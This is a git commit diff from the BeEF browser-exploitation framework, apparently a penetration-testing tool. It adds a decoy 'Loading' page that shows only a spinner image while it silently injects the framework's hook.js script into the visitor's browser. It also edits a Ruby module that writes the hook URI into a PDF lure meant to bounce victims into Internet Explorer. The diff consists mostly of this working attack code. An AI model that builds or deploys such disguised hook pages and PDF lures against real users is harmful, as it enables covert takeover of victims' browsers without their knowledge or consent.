- Changed the default page that is opened by the PDF and did some minor tweaks . [Issue #: 219]
git-svn-id: https://beef.googlecode.com/svn/trunk@1098 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
BIN
extensions/demos/html/ajax-loader.gif
Normal file
BIN
extensions/demos/html/ajax-loader.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 8.0 KiB |
13
extensions/demos/html/report.html
Executable file
13
extensions/demos/html/report.html
Executable file
@@ -0,0 +1,13 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>Loading</title>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head><body>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<div align="middle"><img src="ajax-loader.gif" /></div>
|
||||
</body></html>
|
||||
@@ -41,15 +41,13 @@ class Hook_ie < BeEF::Core::Command
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
#The hook url to be replace the token in the original pdf file.
|
||||
hook_uri = "http://#{configuration.get("beef.http.dns")}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.demo_path")}"
|
||||
hook_uri = "http://#{configuration.get("beef.http.dns")}:#{configuration.get("beef.http.port")}/demos/report.html"
|
||||
|
||||
# A new pdf file containg the actual hook URI instead of the dummy token.
|
||||
configured_hook_file = File.open("./modules/browser/hook_ie/bounce_to_ie_configured.pdf","w")
|
||||
|
||||
# The original pdf file contains a token that will get replaced during the initialization with
|
||||
# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
|
||||
|
||||
#xntrik - unsure what happens to this file after it's been re-written, <hookURI> will never be found again because it's been re-written?
|
||||
# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
|
||||
File.open('./modules/browser/hook_ie/bounce_to_ie.pdf',"r") { |original_hook_file|
|
||||
original_hook_file.each_line { |line|
|
||||
# If the line includes the hook token, then replace it with the actual hook URI
|
||||
@@ -71,10 +69,7 @@ class Hook_ie < BeEF::Core::Command
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
|
||||
#Unmount the assetnow that we've received the callback
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/report.pdf');
|
||||
content['result'] = @datastore['result']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
|
||||
Reference in New Issue
Block a user